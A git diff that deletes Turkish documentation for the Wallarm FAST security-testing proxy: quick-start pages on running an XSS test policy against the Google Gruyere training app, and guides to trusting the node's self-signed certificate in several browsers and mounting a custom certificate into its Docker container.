isteği oluşturun. Bu kılavuzda meşru bir isteğin kullanılması önerilir. - - İstek aşağıdaki gibidir: - - ``` - https://google-gruyere.appspot.com//snippets.gtl?password=paSSw0rd&uid=123 - ``` - - !!! info "Bir istek örneği" - - -## 2. XSS güvenlik açıklarını hedefleyen bir test politikası oluşturun - -1. [My Wallarm portal][link-wl-console] üzerinde, [daha önce][link-previous-chapter] oluşturduğunuz hesapla oturum açın. - -2. “Test policies” sekmesini seçin ve **Create test policy** düğmesine tıklayın. - - ![Test politikası oluşturma][img-policy-screen] - -3. “General” sekmesinde, politika için anlamlı bir ad ve açıklama belirleyin. Bu kılavuzda `DEMO POLICY` adını kullanmanız önerilir. - - ![Test politikası sihirbazı: “General” sekmesi.][img-wizard-general] - -4. “Insertion points” sekmesinde, güvenlik test seti istekleri oluşturulurken işlenmeye uygun [temel istek öğelerini][gl-element] belirleyin. Bu kılavuzun amaçları için tüm GET parametrelerinin işlenmesine izin vermek yeterlidir. Bunu sağlamak için “Where to include” bloğuna `GET_.*` ifadesini ekleyin. Bir politika oluştururken, FAST varsayılan olarak bazı parametrelerin işlenmesine izin verir. Bunları «—» simgesini kullanarak silebilirsiniz. - - ![Test politikası sihirbazı: “Insertion points” sekmesi.][img-wizard-insertion-points] - -5. “Attacks to test” sekmesinde, hedef uygulamadaki güvenlik açığından yararlanmak için tek bir saldırı türü seçin — XSS. - -6. En sağdaki sütundaki politika önizlemesinin aşağıdaki gibi göründüğünden emin olun: - - ``` - X-Wallarm-Test-Policy: - type=xss; - insertion=include:'GET_.*'; - ``` - -7. Politikayı kaydetmek için **Save** düğmesini seçin. - -8. **Back to test policies** düğmesini seçerek test politikası listesine geri dönün. - - -!!! info "Test politikası ayrıntıları" - Test politikaları hakkında ayrıntılı bilgi şu [bağlantıda][doc-policy-in-detail] mevcuttur. - -Artık Google Gruyere uygulamasına yönelik HTTPS temel isteği ve XSS güvenlik açıklarını hedefleyen test politikası ile bu bölümün tüm hedeflerini tamamlamış olmalısınız. \ No newline at end of file diff --git a/docs/latest-tr/fast/qsg/test-run.md b/docs/latest-tr/fast/qsg/test-run.md deleted file mode 100644 index ebe6679acc..0000000000 --- a/docs/latest-tr/fast/qsg/test-run.md +++ /dev/null @@ -1,120 +0,0 @@ -[img-fast-node-internals]: ../../images/fast/qsg/en/test-run/18-qsg-fast-test-run-proxy-internals.png -[img-view-recording-cloud]: ../../images/fast/qsg/common/test-run/20-qsg-fast-test-run-baselines-recording.png -[img-request-exec-result]: ../../images/fast/qsg/common/test-run/22-qsg-fast-test-run-gruyere-request.png -[img-incoming-baselines]: ../../images/fast/qsg/common/test-run/23-qsg-fast-test-run-processing.png -[img-xss-found]: ../../images/fast/qsg/common/test-run/24-qsg-fast-test-run-vuln.png - - -[link-deployment]: deployment.md -[link-wl-console]: https://us1.my.wallarm.com -[link-previous-chapter]: test-preparation.md -[link-create-tr-gui]: ../operations/create-testrun.md#creating-a-test-run-via-web-interface - -[anchor1]: #1-create-and-run-the-test-run -[anchor2]: #2-execute-the-https-baseline-request-you-created-earlier - - - -# Testi çalıştırma - -Bu bölüm, bir güvenlik test setinin üretilmesi ve yürütülmesi süreci boyunca size rehberlik edecektir. Test seti, [önceden][link-previous-chapter] oluşturduğunuz test politikası ve temel (baseline) istek kullanılarak derlenecektir. Gerekli tüm adımlar tamamlandığında, testinizin sonucu olarak bir XSS güvenlik açığı bulacaksınız. - -Uygulama güvenlik testine başlamak için bir test çalıştırması oluşturulmalıdır. *Test çalıştırması*, tek seferlik bir zafiyet test sürecini ifade eder. Her test çalıştırmasının, FAST’in doğru çalışması için kritik olan benzersiz bir tanımlayıcısı vardır. Bir test çalıştırması oluşturduğunuzda, test çalıştırması kimliği (ID) ve test politikası FAST düğümüne gönderilir. Ardından güvenlik testi süreci düğüm üzerinde başlatılır. - -FAST bir güvenlik test setini aşağıdaki şekilde üretir ve yürütür: - -1. Düğüm, test politikası ve test çalıştırması kimliği kendisine gönderilene kadar gelen tüm istekleri şeffaf bir şekilde proxy’ler. - -2. Test çalıştırması oluşturulup çalıştırıldığında, FAST düğümü test politikasını ve test çalıştırması kimliğini Wallarm cloud üzerinden alır. - -3. Düğüm hedef uygulamaya yönelik bir temel (baseline) istek alırsa: - 1. Düğüm, gelen isteği test çalıştırması kimliği ile işaretler - 2. İşaretli istek Wallarm cloud’a kaydedilir - 3. İlk temel istek, değiştirilmeden hedef uygulamaya gönderilir - - !!! info "Temel isteklerin kaydedilmesi süreci" - Bu sürece sıklıkla temel isteklerin kaydedilmesi (baseline recording) denir. Kaydı, bulutun web arayüzünden ya da Wallarm API’sine bir API çağrısı yaparak durdurabilirsiniz. Düğüm, ilk temel istekleri hedef uygulamaya göndermeye devam edecektir. - - Temel kayıt, düğümün önce test politikasını ve test çalıştırması kimliğini alması durumunda başlar. - - FAST düğümü, bir isteğin temel istek olup olmadığını `ALLOWED_HOSTS` ortam değişkenini inceleyerek belirler. Bu değişken, FAST düğümünün [kurulumu sırasında][link-deployment] ayarlanmıştır. İsteğin hedef alan adı bu değişken tarafından izin verilenler arasındaysa, istek temel istek olarak kabul edilir. Kılavuzu takip ettiyseniz, `google-gruyere.appspot.com` alan adına yapılan tüm istekler temel istek olarak kabul edilecektir. - - Uygulamayı hedeflemeyen diğer tüm istekler herhangi bir değişiklik yapılmadan şeffaf bir şekilde proxy’lenir. - -4. FAST düğümü, test çalıştırması kimliğine göre kaydedilmiş tüm temel istekleri Wallarm cloud’dan alır. - -5. FAST düğümü, buluttan aldığı test politikasını kullanarak her temel istek için güvenlik testleri üretir. - -6. Üretilen güvenlik test seti, isteklerin düğümden hedef uygulamaya gönderilmesiyle yürütülür. Test sonuçları test çalıştırması kimliği ile ilişkilendirilir ve bulutta saklanır. - - ![FAST düğümünün iç mantığı][img-fast-node-internals] - - !!! info "Kullanımdaki bir test çalıştırmasına ilişkin not" - Herhangi bir zaman aralığında, FAST düğümünde yalnızca bir test çalıştırması çalıştırılabilir. Aynı düğüm için başka bir test çalıştırması oluşturursanız, mevcut test çalıştırmasının yürütümü kesilir. - -Güvenlik test setinin oluşturulması ve yürütülmesi sürecini başlatmak için aşağıdakileri yapın: - -1. [Test çalıştırmasını oluşturun ve çalıştırın][anchor1] -2. [Daha önce oluşturduğunuz HTTPS temel isteğini yürütün][anchor2] - -## 1. Test çalıştırmasını oluşturun ve çalıştırın - -Wallarm hesap web arayüzü üzerinden [talimatları][link-create-tr-gui] izleyerek bir test çalıştırması oluşturun. - -Talimatları tamamladıktan sonra, bir test çalıştırması oluştururken aşağıdaki temel parametreleri ayarlayın: - -* test run name: `DEMO TEST RUN`; -* test policy: `DEMO POLICY`; -* FAST node: `DEMO NODE`. - -Bu talimatlar gelişmiş ayarları içermez. - -Test çalıştırması kaydedildikten sonra, kimliği (ID) otomatik olarak FAST düğümüne iletilir. “Testruns” sekmesinde, kırmızı yanıp sönen bir nokta göstergesine sahip olarak oluşturulan test çalıştırmasını göreceksiniz. Bu gösterge, test çalıştırması için temel isteklerin kaydedildiği anlamına gelir. - -Kaydedilmekte olan tüm temel istekleri görmek için “Baseline req.” sütununa tıklayabilirsiniz. - -![Kaydedilen temel isteklerin görüntülenmesi][img-view-recording-cloud] - -!!! info "Düğümün kayda hazır olması" - `DEMO TEST RUN` adlı test çalıştırması için `DEMO NODE` adlı FAST düğümünün temel istekleri kaydetmeye hazır olduğunu belirten konsol çıktısını görene kadar beklemelisiniz. - - Düğüm temel isteği kaydetmeye hazırsa, konsol çıktısında buna benzer bir mesaj göreceksiniz: - - `[info] Recording baselines for TestRun#N ‘DEMO TEST RUN’` - - Düğüm, yalnızca bu mesaj görüntülendikten sonra temel isteklere dayanarak bir güvenlik test seti üretebilecektir. - -Konsol çıktısından, `DEMO TEST RUN` adlı test çalıştırması için `DEMO NODE` adlı FAST düğümünün temel istekleri kaydetmeye hazır olduğu gözlemlenebilir: - ---8<-- "../include/fast/console-include/qsg/fast-node-ready-for-recording.md" - - -## 2. Daha önce oluşturduğunuz HTTPS temel isteğini yürütün - -Bunu yapmak için, önceden yapılandırılmış Mozilla Firefox tarayıcısını kullanarak [oluşturduğunuz][link-previous-chapter] bağlantıya gidin. - -!!! info "Bir bağlantı örneği" - - -İstek yürütümünün sonucu aşağıda gösterilmektedir: - -![İstek yürütümünün sonucu][img-request-exec-result] - -FAST düğümünün bir temel isteği kaydettiği konsol çıktısından gözlemlenebilir: - ---8<-- "../include/fast/console-include/qsg/fast-node-testing.md" - -Bazı temel isteklerin Wallarm cloud’a kaydedildiğini gözlemleyebilirsiniz: - -![Gelen temel istekler][img-incoming-baselines] - -Bu belge, gösterim amacıyla yalnızca bir isteğin yürütülmesini önermektedir. Hedef uygulamaya yönelik ek istek olmadığı göz önüne alındığında, “Actions” açılır menüsünden **Stop recording** seçeneğini seçerek temel kayıt sürecini durdurun. - -!!! info "Test çalıştırması yürütme sürecinin kontrolü" - Oluşturduğunuz test çalıştırması için güvenlik test seti oldukça hızlı bir şekilde üretildi. Ancak süreç, temel isteklerin sayısına, kullanılan test politikasına ve hedef uygulamanın yanıt verebilirliğine bağlı olarak önemli ölçüde zaman alabilir. Süreci “Actions” açılır menüsünden uygun seçeneği seçerek duraklatabilir veya durdurabilirsiniz. - -Test süreci tamamlandığında ve herhangi bir temel kayıt devam etmiyorsa, test çalıştırması otomatik olarak durur. Tespit edilen güvenlik açıklarına ilişkin kısa bilgiler “Result” sütununda görüntülenecektir. FAST, yürütülen HTTPS isteği için bazı XSS güvenlik açıkları bulmalıdır: - -![Keşfedilen güvenlik açığı][img-xss-found] - -Artık bölümün tüm hedeflerini, Google Gruyere uygulamasına yapılan HTTPS isteğinin test sonucu ile birlikte tamamlamış olmalısınız. Sonuç, üç XSS güvenlik açığının bulunduğunu göstermektedir. \ No newline at end of file diff --git a/docs/latest-tr/fast/ssl/browsers-ssl/chrome-ssl.md b/docs/latest-tr/fast/ssl/browsers-ssl/chrome-ssl.md deleted file mode 100644 index 29cf510ca5..0000000000 --- a/docs/latest-tr/fast/ssl/browsers-ssl/chrome-ssl.md +++ /dev/null @@ -1,84 +0,0 @@ -[img-cert-request]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-certificate-request.png -[img-adv-settings]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-advanced-settings.png -[img-cert-mgmt]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-manage-certificates.png -[img-cert-window]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-certificates-window.png -[img-cert-wizard]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-certificates-wizard.png -[img-cert-import]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-file-import.png -[img-cert-select]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-file-selection.png -[img-store]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-store-selection.png -[img-wizard-resume]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-wizard-resume.png -[img-fingerprint-warning]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-fingerprint-warning.png -[img-import-ok]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-import-success.png -[img-installed-cert]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-installed-certificate.png -[img-https-ok]: ../../../images/fast/ssl/common/browsers-ssl/chrome-ssl/c-https-ok.png - - - - -# Google Chrome için FAST Node Öz İmzalı SSL Sertifikasının Kurulumu - -Google Chrome tarayıcısı için sertifikayı kurmak üzere şunları yapın: - -1. Tarayıcınızı FAST node’u HTTP ve HTTPS proxy’si olarak kullanacak şekilde yapılandırdığınızdan emin olun. - -2. Tarayıcıyı kullanarak HTTP üzerinden herhangi bir alan adından `cert.der` dosyasını isteyin. - - Örneğin, aşağıdaki bağlantılardan birini kullanabilirsiniz: - - * - * - - Tarayıcı sertifika dosyasını indirecektir. Yapılandırmaya bağlı olarak, dosya ya varsayılan indirme dizinine ya da sizin seçtiğiniz dizine yerleştirilecektir. - - ![Öz imzalı FAST node sertifikasını isteme][img-cert-request] - -3. Tarayıcının gizlilik ve güvenlik ayarları listesini açın. Bunu yapmak için bağlantısına gidin veya tarayıcı ayarlarını açıp ayarlar listesinin sonunda **Advanced** düğmesini seçerek ek ayarları genişletin. - - ![Chrome gelişmiş ayarlar][img-adv-settings] - - “Manage certificates” seçeneğini seçin. - - ![Chrome “Manage certificates” ayarı][img-cert-mgmt] - -4. Chrome sertifikaları hakkında bilgi içeren bir “Certificates” penceresi açılacaktır. “Trusted Root Certification Authorities” sekmesine geçin ve **Import** düğmesini seçin. - - ![“Certificates” penceresi][img-cert-window] - - Bir Certificate Import Wizard açılacaktır. **Next** düğmesini seçin. - - ![Sertifika İçe Aktarma Sihirbazı][img-cert-wizard] - -5. **Browse** düğmesini seçin ve ardından daha önce indirdiğiniz sertifika dosyasını seçin. - - ![Sertifika dosyasını içe aktarma][img-cert-import] - - Gerekirse “All files” dosya türünü seçin. **Next** düğmesini seçin. - - ![Sertifika dosyasının seçimi][img-cert-select] - -6. Bir sertifika deposu seçmeniz istenecektir. “Place all certificates in the following store” seçeneğini seçin ve depo olarak “Trusted Root Certification Authorities” değerini ayarlayın. **Next** düğmesini seçin. - - ![Sertifika deposunu seçin][img-store] - - Sertifika için uygun depoyu seçtiğinizden emin olun ve **Finish** düğmesini seçerek içe aktarma işlemini başlatın. - - ![Sertifika içe aktarma sihirbazı özeti][img-wizard-resume] - -7. İçe aktarılmakta olan sertifikanın parmak izinin doğrulanamadığına dair bir uyarı mesajı göreceksiniz. İçe aktarma işlemini tamamlamak için **Yes** düğmesini seçin. - - ![Parmak izi doğrulama uyarısı][img-fingerprint-warning] - - İçe aktarma başarılı olursa “The import was successful” bilgilendirme mesajı görüntülenecektir. - - ![Sertifikanın başarılı şekilde içe aktarılması][img-import-ok] - - Artık “Certificates” penceresinin “Trusted Root Certification Authorities” sekmesinde içe aktarılan sertifikayı göreceksiniz. Sertifikanızın adı ve sona erme tarihinin görseldekinden farklı olacağını unutmayın. - - ![Yüklü sertifika][img-installed-cert] - -8. Sertifikanın doğru şekilde kurulduğunu kontrol edin. Bunu yapmak için HTTPS üzerinden herhangi bir siteye gidin. Güvenilmeyen sertifikalarla ilgili uyarı mesajları olmadan sitenin HTTPS sürümüne yönlendirilmelisiniz. - - Örneğin, Google Gruyere sitesinin HTTPS sürümüne göz atabilirsiniz: - - - ![HTTPS çalışıyor][img-https-ok] \ No newline at end of file diff --git a/docs/latest-tr/fast/ssl/browsers-ssl/edge-ssl.md b/docs/latest-tr/fast/ssl/browsers-ssl/edge-ssl.md deleted file mode 100644 index 617d83958c..0000000000 --- a/docs/latest-tr/fast/ssl/browsers-ssl/edge-ssl.md +++ /dev/null @@ -1,56 +0,0 @@ -[img-cert-request]: ../../../images/fast/ssl/common/browsers-ssl/edge-ssl/e-certificate-request.png -[img-cert-window]: ../../../images/fast/ssl/common/browsers-ssl/edge-ssl/e-certificate-window.png -[img-store-location]: ../../../images/fast/ssl/common/browsers-ssl/edge-ssl/e-store-location.png -[img-store]: ../../../images/fast/ssl/common/browsers-ssl/edge-ssl/e-store-selection.png -[img-wizard-resume]: ../../../images/fast/ssl/common/browsers-ssl/edge-ssl/e-wizard-resume.png -[img-fingerprint-warning]: ../../../images/fast/ssl/common/browsers-ssl/edge-ssl/e-fingerprint-warning.png -[img-import-ok]: ../../../images/fast/ssl/common/browsers-ssl/edge-ssl/e-import-success.png -[img-https-ok]: ../../../images/fast/ssl/common/browsers-ssl/edge-ssl/e-https-ok.png - - -# Microsoft Edge için FAST Node Kendi İmzalı SSL Sertifikasının Kurulumu - -Microsoft Edge tarayıcısına sertifikayı kurmak için aşağıdakileri yapın: - -1. Tarayıcınızı, HTTP ve HTTPS proxy'si olarak FAST node'u kullanacak şekilde yapılandırdığınızdan emin olun. - -2. Tarayıcıyı kullanarak, HTTP üzerinden herhangi bir alan adından `cert.der` dosyasını isteyin. - - Örneğin, aşağıdaki bağlantılardan birini kullanabilirsiniz: - - * - * - - Tarayıcı size sertifika dosyasını açma veya kaydetme seçeneklerini sunacaktır. **Aç** düğmesini seçin. - - ![Kendi imzalı FAST node sertifikasının istenmesi][img-cert-request] - -3. Sertifikaya ilişkin bilgileri içeren bir pencere açılacaktır. Sertifikanızın adı ve sona erme tarihinin görseldekinden farklı olacağını unutmayın. **Sertifika Yükle** düğmesini seçin. - - ![“Sertifika” penceresi][img-cert-window] - -4. Açılan pencerede uygun sertifika yükleme seçeneğini belirleyin. Sertifikayı mevcut kullanıcı için veya tüm kullanıcılar için yükleyebilirsiniz. Uygun seçeneği seçin ve **İleri** düğmesini tıklayın. - - ![Sertifika deposu konumunu seçin][img-store-location] - -5. Bir sertifika deposu seçmeniz istenecektir. “Tüm sertifikaları aşağıdaki depoya yerleştir” seçeneğini işaretleyin ve depo olarak “Trusted Root Certification Authorities” öğesini ayarlayın. **İleri** düğmesini seçin. - ![Sertifika deposunu seçin][img-store] - - Sertifika için uygun depoyu seçtiğinizden emin olun ve **Bitir** düğmesini seçerek içe aktarma işlemini başlatın. - - ![Sertifika içe aktarma sihirbazı özeti][img-wizard-resume] - -6. İçe aktarılan sertifikanın parmak izinin doğrulanamaması hakkında bir uyarı mesajı göreceksiniz. İçe aktarma işlemini tamamlamak için **Evet** düğmesini seçin. - - ![Parmak izi doğrulama uyarısı][img-fingerprint-warning] - - İçe aktarma başarılı olduğunda, “The import was successful” bilgi mesajı görünecektir. - - ![Sertifikanın başarıyla içe aktarılması][img-import-ok] - -7. Sertifikanın doğru şekilde kurulup kurulmadığını kontrol edin. Bunu yapmak için herhangi bir siteye HTTPS üzerinden gidin. Güvenilmeyen sertifikalarla ilgili uyarı mesajları olmadan sitenin HTTPS sürümüne yönlendirilmelisiniz. - - Örneğin, Google Gruyere sitesinin HTTPS sürümüne gidebilirsiniz: - - - ![HTTPS çalışıyor][img-https-ok] \ No newline at end of file diff --git a/docs/latest-tr/fast/ssl/browsers-ssl/firefox-ssl.md b/docs/latest-tr/fast/ssl/browsers-ssl/firefox-ssl.md deleted file mode 100644 index 887a15812a..0000000000 --- a/docs/latest-tr/fast/ssl/browsers-ssl/firefox-ssl.md +++ /dev/null @@ -1,34 +0,0 @@ -[img-cert-request]: ../../../images/fast/ssl/common/browsers-ssl/firefox-ssl/f-certificate-request.png -[img-cert-download]: ../../../images/fast/ssl/common/browsers-ssl/firefox-ssl/f-certificate-download.png -[img-https-ok]: ../../../images/fast/ssl/common/browsers-ssl/firefox-ssl/f-https-ok.png - - -# Mozilla Firefox için FAST Node Kendinden İmzalı SSL Sertifikası Kurulumu - -Mozilla Firefox tarayıcısı için sertifikayı yüklemek üzere aşağıdakileri yapın: - -1. Tarayıcınızı HTTP ve HTTPS proxy olarak FAST node’u kullanacak şekilde yapılandırdığınızdan emin olun. - -2. Tarayıcıyı kullanarak HTTP üzerinden herhangi bir alan adından `cert.der` dosyasını isteyin. - - Örneğin, aşağıdaki bağlantılardan birini kullanabilirsiniz: - - * - * - - Tarayıcı sertifika dosyasını indirecektir. Yapılandırmaya bağlı olarak, dosya varsayılan indirme dizinine veya seçtiğiniz dizine yerleştirilecektir. - - ![Kendinden imzalı FAST node sertifikasını isteme][img-cert-request] - -3. Bir iletişim kutusu açılacaktır. Sizden sertifikayı yüklemeniz istenecektir. Sertifikanızın adı ve son kullanma tarihinin görselde gösterilenlerden farklı olacağını unutmayın. - - “Web sitelerini tanımlamak için bu CA’ya güven” seçeneğini işaretleyin ve **OK** düğmesini seçin. - - ![Sertifikanın indirilmesi][img-cert-download] - -4. Sertifikanın doğru şekilde yüklendiğini kontrol edin. Bunu yapmak için, herhangi bir siteye HTTPS üzerinden gidin. Güvenilmeyen sertifikalarla ilgili uyarı mesajları olmadan sitenin HTTPS sürümüne yönlendirilmelisiniz. - - Örneğin, Google Gruyere sitesinin HTTPS sürümüne gidebilirsiniz: - - - ![HTTPS çalışıyor][img-https-ok] \ No newline at end of file diff --git a/docs/latest-tr/fast/ssl/browsers-ssl/ie11-ssl.md b/docs/latest-tr/fast/ssl/browsers-ssl/ie11-ssl.md deleted file mode 100644 index 8f125ebf06..0000000000 --- a/docs/latest-tr/fast/ssl/browsers-ssl/ie11-ssl.md +++ /dev/null @@ -1,57 +0,0 @@ -[img-cert-request]: ../../../images/fast/ssl/common/browsers-ssl/ie11-ssl/i-certificate-request.png -[img-cert-window]: ../../../images/fast/ssl/common/browsers-ssl/ie11-ssl/i-certificate-window.png -[img-store-location]: ../../../images/fast/ssl/common/browsers-ssl/ie11-ssl/i-store-location.png -[img-store]: ../../../images/fast/ssl/common/browsers-ssl/ie11-ssl/i-store-selection.png -[img-wizard-resume]: ../../../images/fast/ssl/common/browsers-ssl/ie11-ssl/i-wizard-resume.png -[img-fingerprint-warning]: ../../../images/fast/ssl/common/browsers-ssl/ie11-ssl/i-fingerprint-warning.png -[img-import-ok]: ../../../images/fast/ssl/common/browsers-ssl/ie11-ssl/i-import-success.png -[img-https-ok]: ../../../images/fast/ssl/common/browsers-ssl/ie11-ssl/i-https-ok.png - - -# Microsoft Internet Explorer 11 için FAST Node kendinden imzalı SSL sertifikası kurulumu - -Internet Explorer 11 tarayıcısı için sertifikayı kurmak üzere aşağıdakileri yapın: - -1. Tarayıcınızı FAST node'u HTTP ve HTTPS proxy'si olarak kullanacak şekilde yapılandırdığınızdan emin olun. - -2. Tarayıcıyı kullanarak herhangi bir alan adından HTTP üzerinden `cert.der` dosyasını isteyin. - - Örneğin, aşağıdaki bağlantılardan birini kullanabilirsiniz: - - * - * - - Tarayıcı size sertifika dosyasını açma veya kaydetme seçeneği sunacaktır. **Aç** düğmesini seçin. - - ![Kendinden imzalı FAST node sertifikasının istenmesi][img-cert-request] - -3. Sertifika hakkında bilgi içeren bir pencere açılacaktır. Sertifikanızın adı ve son kullanma tarihinin görüntüde gösterilenden farklı olacağını unutmayın. **Sertifikayı Yükle** düğmesini seçin. - - ![“Sertifika” penceresi][img-cert-window] - -4. Açılan pencerede uygun sertifika kurulum seçeneğini belirleyin. Sertifikayı mevcut kullanıcı için veya tüm kullanıcılar için yükleyebilirsiniz. Uygun seçeneği seçin ve **İleri** düğmesini seçin. - - ![Sertifika deposu konumunu seçin][img-store-location] - -5. Bir sertifika deposu seçmeniz istenecektir. “Tüm sertifikaları aşağıdaki depoya yerleştir” seçeneğini seçin ve depo olarak “Güvenilir Kök Sertifika Yetkilileri”ni ayarlayın. **İleri** düğmesini seçin. - - ![Sertifika deposunu seçin][img-store] - - Sertifika için uygun depoyu seçtiğinizden emin olun ve **Son** düğmesini seçerek içe aktarma işlemini başlatın. - - ![Sertifika içe aktarma sihirbazı özeti][img-wizard-resume] - -6. İçe aktarılan sertifikanın parmak izinin doğrulanamaması hakkında bir uyarı mesajı göreceksiniz. İçe aktarma işlemini tamamlamak için **Evet** düğmesini seçin. - - ![Parmak izi doğrulama uyarısı][img-fingerprint-warning] - - İçe aktarma başarılıysa, “İçe aktarma başarılı oldu” bilgi mesajı görüntülenecektir. - - ![Sertifikanın başarıyla içe aktarılması][img-import-ok] - -7. Sertifikanın doğru şekilde yüklendiğini kontrol edin. Bunu yapmak için herhangi bir siteye HTTPS üzerinden gidin. Güvenilmeyen sertifika ile ilgili herhangi bir uyarı mesajı olmadan sitenin HTTPS sürümüne yönlendirilmelisiniz. - - Örneğin, Google Gruyere sitesinin HTTPS sürümünü ziyaret edebilirsiniz: - - - ![HTTPS çalışıyor][img-https-ok] \ No newline at end of file diff --git a/docs/latest-tr/fast/ssl/browsers-ssl/safari-ssl.md b/docs/latest-tr/fast/ssl/browsers-ssl/safari-ssl.md deleted file mode 100644 index 334ae20c15..0000000000 --- a/docs/latest-tr/fast/ssl/browsers-ssl/safari-ssl.md +++ /dev/null @@ -1,58 +0,0 @@ -[img-cert-request]: ../../../images/fast/ssl/common/browsers-ssl/safari-ssl/s-certificate-request.png -[img-downloaded-cert]: ../../../images/fast/ssl/common/browsers-ssl/safari-ssl/s-downloaded-certificate.png -[img-keychain-import]: ../../../images/fast/ssl/common/browsers-ssl/safari-ssl/s-keychain-prompt.png -[img-untrusted-cert]: ../../../images/fast/ssl/common/browsers-ssl/safari-ssl/s-keychain-untrusted-certificate.png -[img-cert-properties]: ../../../images/fast/ssl/common/browsers-ssl/safari-ssl/s-keychain-certificate-properties.png -[img-credentials-prompt]: ../../../images/fast/ssl/common/browsers-ssl/safari-ssl/s-keychain-credentials-prompt.png -[img-trusted-cert]: ../../../images/fast/ssl/common/browsers-ssl/safari-ssl/s-keychain-trusted-certificate.png -[img-https-ok]: ../../../images/fast/ssl/common/browsers-ssl/safari-ssl/s-https-ok.png - -# Apple Safari için FAST Düğümü Kendinden İmzalı SSL Sertifikası Kurulumu - -Apple Safari tarayıcısı için sertifikayı kurmak üzere aşağıdakileri yapın: - -1. Tarayıcınızı HTTP ve HTTPS proxy’si olarak FAST düğümünü kullanacak şekilde yapılandırdığınızdan emin olun. - -2. Tarayıcıyı kullanarak herhangi bir alan adından HTTP üzerinden `cert.der` dosyasını isteyin. - - Örneğin aşağıdaki bağlantılardan birini kullanabilirsiniz: - - * - * - - Tarayıcı sertifika dosyasını indirecektir. Yapılandırmaya bağlı olarak dosya varsayılan indirme dizinine veya seçtiğiniz dizine yerleştirilecektir. - - ![Kendinden imzalı FAST düğümü sertifikası isteniyor][img-cert-request] - - İndirilen dosyayı açın. - - ![İndirilen sertifika][img-downloaded-cert] - -3. Keychain Access uygulaması sertifikayı içe aktarmayı önerecektir. - - Sertifikayı yalnızca geçerli kullanıcı için veya tüm kullanıcılar için kurabilirsiniz. Uygun seçeneği seçin ve **Add** düğmesini tıklayın. - - ![Keychain Access “Add Certificates” penceresi][img-keychain-import] - -4. İçe aktarılan sertifikanın güvenilmeyen olarak işaretlendiğini göreceksiniz. Sertifikanızın adı ve son kullanma tarihinin görseldekinden farklı olacağını unutmayın. - - ![Keychain Access uygulamasında güvenilmeyen sertifika][img-untrusted-cert] - -5. Sertifikayı güvenilir hale dönüştürmek için üzerine çift tıklayarak sertifika özellikleri penceresini açın. “Trust” listesini genişletin ve SSL için **Always Trust** seçeneğini seçin. - - ![Sertifika özellikleri penceresi][img-cert-properties] - - Devam etmek için parolanızı girmeniz istenecektir. - - ![Kimlik bilgileri istemi][img-credentials-prompt] - - Artık içe aktarılan sertifika güvenilir olarak işaretlenmiş olmalıdır. - - ![Keychain Access uygulamasında güvenilir sertifika][img-trusted-cert] - -6. Sertifikanın doğru şekilde kurulduğunu kontrol edin. Bunu yapmak için HTTPS üzerinden herhangi bir siteye gidin. Güvenilmeyen sertifikalarla ilgili uyarı mesajları olmadan sitenin HTTPS sürümüne yönlendirilmelisiniz. - - Örneğin, Google Gruyere sitesinin HTTPS sürümüne gidebilirsiniz: - - - ![HTTPS çalışıyor][img-https-ok] \ No newline at end of file diff --git a/docs/latest-tr/fast/ssl/install-certificate-on-fast-node.md b/docs/latest-tr/fast/ssl/install-certificate-on-fast-node.md deleted file mode 100644 index 61845fce8b..0000000000 --- a/docs/latest-tr/fast/ssl/install-certificate-on-fast-node.md +++ /dev/null @@ -1,83 +0,0 @@ -[link-openssl]: https://www.openssl.org/docs/man1.0.2/man1/x509.html -[link-pem-encoding]: https://www.ssl.com/guide/pem-der-crt-and-cer-x-509-encodings-and-conversions/ - - -# FAST node'a Kendi SSL Sertifikanızı Yükleme - -!!! info "Önkoşullar" - Bu kılavuz şunları varsayar: - - * Tarayıcınız, HTTP veya HTTPS proxy olarak bir FAST node kullanacak şekilde yapılandırılmıştır. - * Tarayıcınız, FAST node için yükleyeceğiniz SSL sertifikasına zaten güvenmektedir. - -!!! warning "Sertifika gereksinimleri" - Bu kurulumu başarıyla tamamlamak için SSL sertifikanız kök sertifika veya ara sertifika olmalıdır. - - Sertifika ve karşılık gelen özel anahtar [PEM kullanılarak kodlanmış][link-pem-encoding] olmalıdır. Sertifikanız farklı bir kodlamadaysa, [OpenSSL][link-openssl] gibi mevcut herhangi bir sertifika dönüştürme aracını kullanarak PEM kodlamalı sertifikaya dönüştürebilirsiniz. - -## SSL Sertifikasını Yükleme - -FAST node'a bir SSL sertifikası yüklemek için aşağıdaki adımları izleyin: -1. PEM formatında, sertifikayı imzalayan özel anahtar ile birlikte bir SSL sertifikasına sahip olduğunuzdan emin olun. - -2. Sertifika dosyasını ve anahtar dosyasını Docker ana makinesinde aynı dizine yerleştirin. Sonraki adımlarda bu dizini FAST node içeren Docker konteynerine bağlamak gerekecektir. - -3. Sertifika ve anahtarın bulunduğu yerleri aşağıdaki ortam değişkenleri ile FAST node'a belirtin: - - ``` - CA_CERT= - CA_KEY= - ``` - - Yukarıdaki satırlarda, `docker` konteynerine dizini bağladıktan sonra beklenen sertifika ve anahtar yolu ile `` ve `` değerlerini değiştirin. - -4. FAST node ile Docker konteynerini aşağıdaki komutu çalıştırarak dağıtın: - - ``` - docker run --name \ - -e WALLARM_API_TOKEN= \ - -e ALLOWED_HOSTS= \ - -e CA_CERT= \ - -e CA_KEY= \ - -v : \ - -p :8080 \ - wallarm/fast - ``` - - Bu komut aşağıdaki parametreleri tanımlar: - - * Konteynerin adı. - * `WALLARM_API_TOKEN` ve `ALLOWED_HOSTS` ortam değişkenlerini kullanarak hedef uygulamanın token'ı ve ana makine listesi (`ALLOWED_HOSTS` zorunlu değildir). - * `CA_CERT` değişkeni ile konteyner içindeki SSL sertifikası dosyasının konumu. - * `CA_KEY` değişkeni ile konteyner içindeki özel anahtar dosyasının konumu. - * Uygulamanın yayınlanan bağlantı noktası. - - `docker run` komutunun `-v` seçeneğini kullanarak Docker ana makinesindeki `` dizinini konteynere 